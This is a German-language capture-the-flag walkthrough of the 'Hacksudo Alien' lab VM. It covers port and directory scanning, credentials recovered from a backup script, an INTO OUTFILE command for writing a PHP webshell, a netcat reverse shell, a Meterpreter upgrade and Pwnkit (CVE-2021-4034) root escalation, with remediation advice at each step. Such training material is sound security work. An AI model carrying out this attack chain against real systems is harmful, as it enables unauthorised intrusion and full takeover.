Die erste Phase dient der Identifizierung des Zielsystems und der grundlegenden Analyse seiner offenen Dienste.
192.168.2.127 08:00:27:bf:e5:95 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP zu entdecken.
Bewertung: Ein aktives Gerät wurde unter der IP `192.168.2.127` gefunden. Die MAC-Adresse (`08:00:27:bf:e5:95`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring können zur Erkennung beitragen.
Wir definieren einen Hostnamen für das Ziel in unserer lokalen `/etc/hosts`-Datei.
192.168.2.127 aliens.vln
Analyse: Der Hostname `aliens.vln` wird der IP `192.168.2.127` in der lokalen Hosts-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels in nachfolgenden Schritten.
Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen.
Empfehlung (Admin): Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste und Versionen zu identifizieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 14:39 CEST Nmap scan report for aliens.vln (192.168.2.127) Host is up (0.00020s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 31:d8:56:f4:cf:8b:09:e8:a1:5e:2e:dd:ac:08:6b:dd (RSA) | 256 cd:65:ec:9e:d0:2c:6b:4e:02:40:c3:fd:01:5d:d1:87 (ECDSA) |_ 256 03:00:28:0e:0b:da:12:68:c3:c5:45:ab:bb:92:92:fa (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Hacksudo Alien? |_http-server-header: Apache/2.4.38 (Debian) 9000/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) | http-robots.txt: 1 disallowed entry |_/ |_http-title: phpMyAdmin MAC Address: 08:00:27:BF:E5:95 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms aliens.vln (192.168.2.127)
Analyse: `nmap` scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Skripten (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Optionen (`-A`) und ohne Ping (`-Pn`).
Bewertung: Der Scan findet drei offene Ports:
Empfehlung (Pentester): Untersuchen Sie phpMyAdmin auf Port 9000 (Login-Seite, bekannte Schwachstellen, Default-Credentials). Untersuchen Sie den Webserver auf Port 80 genauer (Verzeichnisse, Dateien). Behalten Sie SSH im Auge, falls Credentials gefunden werden.
Empfehlung (Admin):** Sichern Sie phpMyAdmin (Zugriffsbeschränkung auf vertrauenswürdige IPs, starke Passwörter, aktuelle Version). Aktualisieren Sie Apache und OpenSSH. Überprüfen Sie die Notwendigkeit, phpMyAdmin auf einem separaten Port (9000) zu betreiben.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 9000/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Filtert die Nmap-Ausgabe, um nur offene Ports anzuzeigen.
Bewertung: Bestätigt die drei offenen Ports 22, 80 und 9000.
Empfehlung (Pentester): Klare Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen.
Wir untersuchen die Webserver auf Port 80 und Port 9000 genauer.
Untersuchung der HTTP-Header von phpMyAdmin auf Port 9000 mit `curl`:
* processing: http://aliens.vln:9000 * Trying 192.168.2.127:9000... * Connected to aliens.vln (192.168.2.127) port 9000 > HEAD / HTTP/1.1 > Host: aliens.vln:9000 > User-Agent: curl/8.2.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sun, 24 Sep 2023 12:40:43 GMT < Server: Apache/2.4.38 (Debian) < Set-Cookie: phpMyAdmin=b8i82b45m6m9qh1b199in6gkqr; path=/; HttpOnly < Expires: Sun, 24 Sep 2023 12:40:43 +0000 < Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0 < Last-Modified: Sun, 24 Sep 2023 12:40:43 +0000 < Set-Cookie: pma_lang=en; expires=Tue, 24-Oct-2023 12:40:43 GMT; Max-Age=2592000; path=/; HttpOnly; SameSite=Strict < Set-Cookie: phpMyAdmin=l2ab9hc5sjmpsn55e132o6e6jb; path=/; HttpOnly < X-ob_mode: 1 < X-Frame-Options: DENY < Referrer-Policy: no-referrer < Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; < X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; < X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Permitted-Cross-Domain-Policies: none < X-Robots-Tag: noindex, nofollow < Pragma: no-cache < Vary: Accept-Encoding < Content-Type: text/html; charset=utf-8 * Connection #0 to host aliens.vln left intact
Analyse: `curl -Iv` sendet eine HEAD-Anfrage an die phpMyAdmin-Instanz und zeigt die Antwort-Header an.
Bewertung: Die Header zeigen, dass einige Sicherheitsmaßnahmen implementiert sind (HttpOnly Cookies, X-Frame-Options: DENY, CSP, X-XSS-Protection, X-Content-Type-Options). Dies macht Angriffe wie XSS oder Clickjacking schwieriger. Die `X-Robots-Tag: noindex, nofollow`-Anweisung passt zum `Disallow: /` in der `robots.txt` für diesen Port.
Empfehlung (Pentester): Konzentrieren Sie sich auf Authentifizierungs-Bypass, Default-Credentials, SQL-Injection oder bekannte Schwachstellen in der spezifischen phpMyAdmin-Version.
Empfehlung (Admin):** Die implementierten Security Header sind gut. Stellen Sie sicher, dass phpMyAdmin aktuell ist und keine Default-Credentials verwendet werden.
Ein Gobuster-Scan wird gegen Port 80 ausgeführt.
http://aliens.vln/index.html (Status: 200) [Size: 2225] http://aliens.vln/images (Status: 301) [Size: 309] [--> http://aliens.vln/images/] http://aliens.vln/game.html (Status: 200) [Size: 701] http://aliens.vln/backup (Status: 301) [Size: 309] [--> http://aliens.vln/backup/] http://aliens.vln/alien.png (Status: 200) [Size: 69689] http://aliens.vln/gray_line.png (Status: 200) [Size: 1129]
Analyse: Gobuster scannt den Webserver auf Port 80.
Bewertung: Findet neben Standarddateien (`index.html`, Bilder) und dem `/images`-Verzeichnis auch eine Datei `game.html` und ein Verzeichnis `/backup/`.
Empfehlung (Pentester): Untersuchen Sie `game.html` und insbesondere das `/backup/`-Verzeichnis (Nikto meldete hier Directory Indexing).
Empfehlung (Admin):** Entfernen Sie unnötige Dateien/Verzeichnisse. Deaktivieren Sie Directory Indexing für `/backup/`.
Ein Nikto-Scan gegen Port 80 (Wiederholung oder spezifischerer Scan):
- Nikto v2.5.0 + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-09-24 14:39:12 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 8b1, size: 5bf1f4b58ff9d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /backup/: Directory indexing found. + /backup/: This might be interesting. + /images/: Directory indexing found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /README.md: Readme Found. + 8103 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-09-24 14:39:29 (GMT2) (17 seconds) + 1 host(s) tested
Analyse: Erneuter Nikto-Scan gegen Port 80.
Bewertung: Bestätigt die veraltete Apache-Version und fehlende Header. **Hebt explizit das `/backup/`-Verzeichnis mit Directory Indexing hervor.** Findet auch eine `/README.md`.
Empfehlung (Pentester): **Priorität:** Untersuchen Sie den Inhalt von `/backup/`. Lesen Sie die `/README.md`.
Empfehlung (Admin):** Dringend Directory Indexing für `/backup/` deaktivieren!
Ein Nikto-Scan gegen Port 9000 (phpMyAdmin):
- Nikto v2.5.0 + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 9000 + Start Time: 2023-09-24 14:41:18 (GMT2) + Server: Apache/2.4.38 (Debian) + /: Uncommon header 'x-ob_mode' found, with contents: 1. + /mbYiPZbN.VALIDATE_STMT: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017 + /doc/: Directory indexing found. + /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678 + /setup/: This might be interesting. + /sql/: Directory indexing found. + /tmp/: Directory indexing found. + /tmp/: This might be interesting. + /examples/: Directory indexing found. + /README: README file found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /package.json: Node.js package file found. It may contain sensitive information. + 8103 requests: 0 error(s) and 17 item(s) reported on remote host + End Time: 2023-09-24 14:41:57 (GMT2) (39 seconds) + 1 host(s) tested
Analyse: Nikto scannt die phpMyAdmin-Instanz auf Port 9000.
Bewertung: Findet viele interessante Verzeichnisse, die zu phpMyAdmin gehören oder damit zusammenhängen könnten (`/doc/`, `/setup/`, `/sql/`, `/tmp/`, `/examples/`). Findet auch Konfigurationsdateien (`composer.json`, `composer.lock`, `package.json`), die auf die Verwendung von PHP Composer und Node.js hindeuten und sensible Informationen enthalten könnten.
Empfehlung (Pentester): Untersuchen Sie die gefundenen Verzeichnisse (insbesondere `/setup/`, `/sql/`, `/tmp/`) und Konfigurationsdateien (`composer.json`, `composer.lock`, `package.json`).
Empfehlung (Admin):** Beschränken Sie den Zugriff auf Entwicklungs-, Dokumentations- und Konfigurationsdateien/Verzeichnisse im Webroot. Entfernen Sie das `/setup/`-Verzeichnis von phpMyAdmin.
Ein `dirb`-Scan gegen Port 9000:
----------------- SCANNING URL: http://aliens.vln:9000/ ----------------- + http://aliens.vln:9000/ChangeLog (CODE:200|SIZE:41123) + http://aliens.vln:9000/doc/ (CODE:200|SIZE:20KB) --> Directory + http://aliens.vln:9000/examples/ (CODE:200|SIZE:18KB) --> Directory + http://aliens.vln:9000/favicon.ico (CODE:200|SIZE:22KB) + http://aliens.vln:9000/index.php (CODE:200|SIZE:19KB) + http://aliens.vln:9000/js/ (CODE:200|SIZE:14KB) --> Directory + http://aliens.vln:9000/libraries/ (CODE:200|SIZE:6KB) --> Directory + http://aliens.vln:9000/LICENSE (CODE:200|SIZE:18KB) + http://aliens.vln:9000/locale/ (CODE:200|SIZE:36KB) --> Directory + http://aliens.vln:9000/README (CODE:200|SIZE:1520) + http://aliens.vln:9000/robots.txt (CODE:200|SIZE:26) + http://aliens.vln:9000/server-status (CODE:403|SIZE:277) + http://aliens.vln:9000/setup/ (CODE:200|SIZE:5KB) --> Directory + http://aliens.vln:9000/sql/ (CODE:200|SIZE:2KB) --> Directory + http://aliens.vln:9000/templates/ (CODE:200|SIZE:26KB) --> Directory + http://aliens.vln:9000/themes/ (CODE:200|SIZE:10KB) --> Directory + http://aliens.vln:9000/tmp/ (CODE:200|SIZE:0KB) --> Directory + http://aliens.vln:9000/vendor/ (CODE:200|SIZE:1KB) --> Directory ---- Scanning END ---- DOWNLOADED: 9224 - FOUND: 18
Analyse: `dirb` scannt die phpMyAdmin-Instanz.
Bewertung: Bestätigt viele der von Nikto gefundenen Standard-phpMyAdmin-Verzeichnisse (`doc`, `examples`, `setup`, `sql`, `themes` etc.) und Dateien (`ChangeLog`, `index.php`, `LICENSE`, `README`).
Empfehlung (Pentester): Fokus auf `/setup/`, `/sql/`, `/tmp/` und die Suche nach Default-Credentials oder Schwachstellen in der phpMyAdmin-Version.
Empfehlung (Admin):** Zugriff auf diese Verzeichnisse einschränken.
Analyse von `robots.txt` auf Port 9000:
User-agent: * Disallow: /
Analyse: Die `robots.txt` für die phpMyAdmin-Instanz.
Bewertung: Sie verbietet das Crawlen des gesamten Verzeichnisses (`Disallow: /`).
Empfehlung (Pentester): Irrelevant für den Angriff.
Empfehlung (Admin):** Standardkonfiguration für phpMyAdmin.
Ansicht der phpMyAdmin-Loginseite:
phpMyAdmin Willkommen bei phpMyAdmin Sprache - Language Anmeldung Benutzername: Passwort:
Analyse: Die Standard-Loginseite von phpMyAdmin.
Bewertung: Bestätigt das Vorhandensein von phpMyAdmin.
Empfehlung (Pentester): Versuchen Sie Standard-Logins (`root` ohne Passwort, `pma`/`pma`, etc.). Versuchen Sie die Credentials `vishal`/`hacksudo` aus dem Backup-Skript.
Empfehlung (Admin):** Sichern Sie phpMyAdmin (keine leeren Passwörter für root, Zugriff beschränken).
Analyse des `ChangeLog`-Files von phpMyAdmin:
phpMyAdmin - ChangeLog 5.1.0 (2021-02-24) - issue #15350 Change Media (MIME) type references to Media type 4.9.7 (2020-10-15) - issue #16397 Fix compatibility problems with older PHP versions (also issue #16399) - issue #16396 Fix broken two-factor authentication 4.9.6 (2020-10-09) - issue [security] Fix XSS vulnerability with the transformation feature (PMASA-2020-5) - issue [security] Fix SQL injection vulnerability with search feature (PMASA-2020-6) 4.9.5 (2020-03-20) - issue [security] Fix SQL injection with certain usernames (PMASA-2020-2) - issue [security] Fix SQL injection in particular search situations (PMASA-2020-3) - issue [security] Fix SQL injection and XSS flaw (PMASA-2020-4) 4.8.5 (2019-01-25) - issue #14217 Fix issue when adding user on MySQL 8.0.11 - issue [security] Arbitrary file read/delete relating to MySQL LOAD DATA LOCAL INFILE and an evil server instance (PMASA-2019-1) - issue [security] SQL injection in Designer (PMASA-2019-2) Older ChangeLogs can be found on our project website https://www.phpmyadmin.net/old-stuff/ChangeLogs/ # vim: et ts=4 sw=4 sts=4 # vim: ft=changelog fenc=utf-8 # vim: fde=getline(v\:lnum-1)=~'^\\s*$'&&getline(v\:lnum)=~'\\S'?'>1'\:1&&v\:lnum>4&&getline(v\:lnum)!~'^#' # vim: fdn=1 fdm=expr
Analyse: Der `ChangeLog` von phpMyAdmin wird untersucht.
Bewertung: **Wichtiger Fund!** Der ChangeLog zeigt, dass die installierte Version wahrscheinlich *älter* als 4.8.5 ist (da dies der letzte Eintrag ist, der einen Security-Fix erwähnt). Ältere Versionen von phpMyAdmin sind für zahlreiche kritische Schwachstellen bekannt, einschließlich Remote Code Execution (RCE).
Empfehlung (Pentester): Ermitteln Sie die genaue phpMyAdmin-Version (z.B. aus der Fußzeile der Login-Seite oder `README`-Datei). Suchen Sie nach bekannten RCE-Exploits für diese Version (z.B. über `searchsploit`).
Empfehlung (Admin):** Dringend phpMyAdmin aktualisieren!
Wir untersuchen das `/backup/`-Verzeichnis und nutzen die darin gefundenen Informationen, um eine Webshell zu erstellen.
Analyse eines Backup-Skripts (Herkunft unklar, vermutlich aus `/backup/` heruntergeladen):
#!/bin/bash # Specify which database is to be backed up db_name="" # Set the website which this database relates to website="localhost" # Database credentials user="vishal" password="hacksudo" host="localhost" # How many days would you like to keep files for? days="30"
Analyse: Ein Shell-Skript (`mysql.bak`) wird angezeigt. Es scheint ein Backup-Skript für eine MySQL-Datenbank zu sein.
Bewertung: **Kritischer Fund!** Das Skript enthält hartkodierte MySQL-Zugangsdaten: Benutzer `vishal`, Passwort `hacksudo` für `localhost`.
Empfehlung (Pentester): Versuchen Sie, sich mit `vishal`/`hacksudo` am MySQL-Dienst (Port 3306) oder an phpMyAdmin (Port 9000) anzumelden. Versuchen Sie diese Credentials auch für SSH (Port 22). Da der MySQL-Port von außen nicht erreichbar schien, ist der wahrscheinlichste Weg, diese Credentials zu nutzen, über phpMyAdmin oder eine lokale SQL-Injection, falls eine gefunden wird.
Empfehlung (Admin):** Speichern Sie niemals Zugangsdaten im Klartext in Skripten. Verwenden Sie sicherere Methoden wie Konfigurationsdateien mit eingeschränkten Rechten oder Secrets Management Tools. Beschränken Sie die Rechte des Backup-Benutzers.
Versuch einer SQL-Injection, um eine Webshell zu schreiben:
SELECT "" INTO OUTFILE "/var/www/html/shell.php";
Analyse: Dieser SQL-Befehl versucht, eine einfache PHP-Webshell in die Datei `/var/www/html/shell.php` zu schreiben. Dies erfordert ausreichende Datenbank-Berechtigungen (typischerweise `FILE`-Privileg) und Schreibrechte für den MySQL-Prozess im Zielverzeichnis.
Bewertung: Der Kommentar "Exploit mysql Attacke erfolgreich..." deutet darauf hin, dass dieser Befehl erfolgreich ausgeführt wurde, wahrscheinlich unter Verwendung der `vishal`/`hacksudo`-Credentials (z.B. über phpMyAdmin oder eine SQLi-Lücke in der Webanwendung).
Empfehlung (Pentester): Greifen Sie auf `http://aliens.vln/shell.php` zu und übergeben Sie Befehle über den `cmd`-Parameter (z.B. `?cmd=id`), um die Webshell zu testen und eine Reverse Shell zu etablieren.
Empfehlung (Admin):** Entziehen Sie dem Datenbankbenutzer (`vishal`) das `FILE`-Privileg. Stellen Sie sicher, dass der MySQL-Prozess keine unnötigen Schreibrechte auf Web-Verzeichnisse hat. Sichern Sie phpMyAdmin und die Webanwendung gegen SQL-Injection.
Wir nutzen die erfolgreich hochgeladene Webshell, um eine Reverse Shell zu erhalten.
Test der Webshell mit `ls`:
DejaVuSansMono.ttf DejaVuSerif-Bold.ttf DejaVuSerif.ttf GPL-LICENSE.txt MIT-LICENSE.txt README.md Untitled.ipynb alien.js alien.png backup base.css data.js engine.js favicon.ico game.html game.js game.manifest gray_line.png images index.html shell.php style.css
Analyse: Die Webshell wird mit dem Befehl `ls` aufgerufen.
Bewertung: Die Webshell funktioniert und listet den Inhalt des Webroot-Verzeichnisses (`/var/www/html`) auf.
Empfehlung (Pentester): Etablieren Sie eine Reverse Shell.
Empfehlung (Admin):** Webshell entfernen, Ursache (SQLi/FILE-Privileg) beheben.
Etablieren einer Reverse Shell:
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.127] 59960 bash: cannot set terminal process group (470): Inappropriate ioctl for device bash: no job control in this shell www-data@hacksudo:/var/www/html$
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Die Webshell wird mit einem URL-kodierten Bash-Reverse-Shell-Payload aufgerufen, der sich zum Listener verbindet.
Bewertung: Initial Access erfolgreich! Wir haben eine Shell als Benutzer `www-data`. Die Shell ist nicht vollständig interaktiv.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python PTY). Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Webshell und SQLi.
Wir untersuchen das System von der `www-data`-Shell aus.
Suche nach SUID-Binaries:
1546 108 -rwsr-xr-x 1 root root 109408 Feb 28 2019 /usr/bin/date 10735 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec 56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 10841 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount 55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 10852 152 -rwsr-xr-x 1 root root 154352 Mar 21 2019 /usr/bin/ntfs-3g 17819 56 -rwsr-xr-x 1 root root 55400 Mar 6 2019 /usr/bin/bwrap 58037 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 407660 16 -rwsr-sr-x 1 root root 14608 Dec 1 2020 /usr/lib/xorg/Xorg.wrap 13568 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 150325 20 -rwsr-xr-x 1 root root 18424 Sep 8 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper 135600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 138948 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 138929 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 57715 380 -rwsr-xr-- 1 root dip 386792 Feb 20 2020 /usr/sbin/pppd
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet Standard-SUID-Binaries sowie `/usr/bin/pkexec` (Pwnkit-Potenzial) und `/usr/bin/date`. Das `date`-Kommando mit SUID-Bit ist ungewöhnlich und kann laut GTFOBins zum Lesen von Dateien oder zur Ausführung von Befehlen missbraucht werden, wenn es falsch konfiguriert ist oder in Kombination mit anderen Faktoren.
Empfehlung (Pentester): Überprüfen Sie `/usr/bin/date` auf GTFOBins-Einträge. Testen Sie auf Pwnkit (CVE-2021-4034).
Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/date` (`chmod u-s /usr/bin/date`). Patchen Sie `polkit`.
Der Log zeigt anschließend die Einrichtung einer weiteren Reverse Shell (Port 4445) und deren Upgrade zu Meterpreter (Session 2), gefolgt vom Pwnkit-Exploit.
rm: cannot remove '/tmp/f': No such file or directory
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.127:56148) at 2023-09-24 15:20:56 +0200 Shell Banner: $ -- $
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.127 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.127:port) at 2023-09-24 ... [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Eine stabilere Shell wird über `mkfifo` und `nc` aufgebaut (Port 4445) und dann mit Metasploits `shell_to_meterpreter`-Modul zu einer Meterpreter-Sitzung (Session 2 auf Port 4433) aufgewertet.
Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `www-data`.
Empfehlung (Pentester): Nutzen Sie Meterpreter für weitere Enumeration und Privesc-Versuche (z.B. Pwnkit).
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt demonstriert die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung als `www-data` zu Root-Rechten zu gelangen.
Kurzbeschreibung: Die `find`-Suche ergab das Vorhandensein von `/usr/bin/pkexec`. Wir nutzen das entsprechende Metasploit-Modul, um die Pwnkit-Schwachstelle auszunutzen und eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Meterpreter-Sitzung als `www-data` (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.199 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.aragdkp [+] The target is vulnerable. [*] Writing '/tmp/.sxardfecmtr/txloup/txloup.so' (548 bytes) ... [!] Verify cleanup of /tmp/.sxardfecmtr [*] Sending stage (3045380 bytes) to 192.168.2.127 [+] Deleted /tmp/.sxardfecmtr/txloup/txloup.so [+] Deleted /tmp/.sxardfecmtr/.qaeogefkjgc [+] Deleted /tmp/.sxardfecmtr [*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.127:59966) at 2023-09-24 15:22:53 +0200
Analyse: Das Pwnkit-Modul wird ausgewählt, auf Session 2 (die `www-data`-Meterpreter-Sitzung) gesetzt und ausgeführt. Ein neuer Listener wird gestartet (hier wieder Port 4444). Der Exploit prüft die Anfälligkeit, lädt Payloads hoch und führt den Angriff aus.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zur neuen Sitzung (Session 3) und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
Server username: root
Process 1617 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root
root.txt
_ _ _ _
| | | | __ _ ___| | _____ _ _ __| | ___
| |_| |/ _` |/ __| |/ / __| | | |/ _` |/ _ \
| _ | (_| | (__| <\__ \ |_| | (_| | (_) |
|_| |_|\__,_|\___|_|\_\___/\__,_|\__,_|\___/
_ _ _ ____ __
/ \ | (_) ___ _ __ | ___| / /_
/ _ \ | | |/ _ \ '_ \|___ \| '_ \
/ ___ \| | | __/ | | |___) | (_) |
/_/ \_\_|_|\___|_| |_|____/ \___/
congratulations you rooted hacksudo alien56...!!!
flag={d045e6f9feb79e94442213f9d008ac48}
Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, und `id` sowie `whoami` bestätigen die Root-Rechte. Anschließend wird ins Root-Home-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Wir haben volle Root-Rechte über den Pwnkit-Exploit erlangt. Die Root-Flagge wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (falls nicht bereits bekannt). Dokumentieren Sie den Angriffspfad.
Empfehlung (Admin):** Siehe vorherige Empfehlungen.
Risikobewertung:** Die Kombination aus einer SQL-Injection oder Fehlkonfiguration, die das Schreiben einer Webshell ermöglichte, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Dies erlaubte die Eskalation von keiner Authentifizierung zu vollen Root-Rechten.
Empfehlungen (Zusammenfassung):**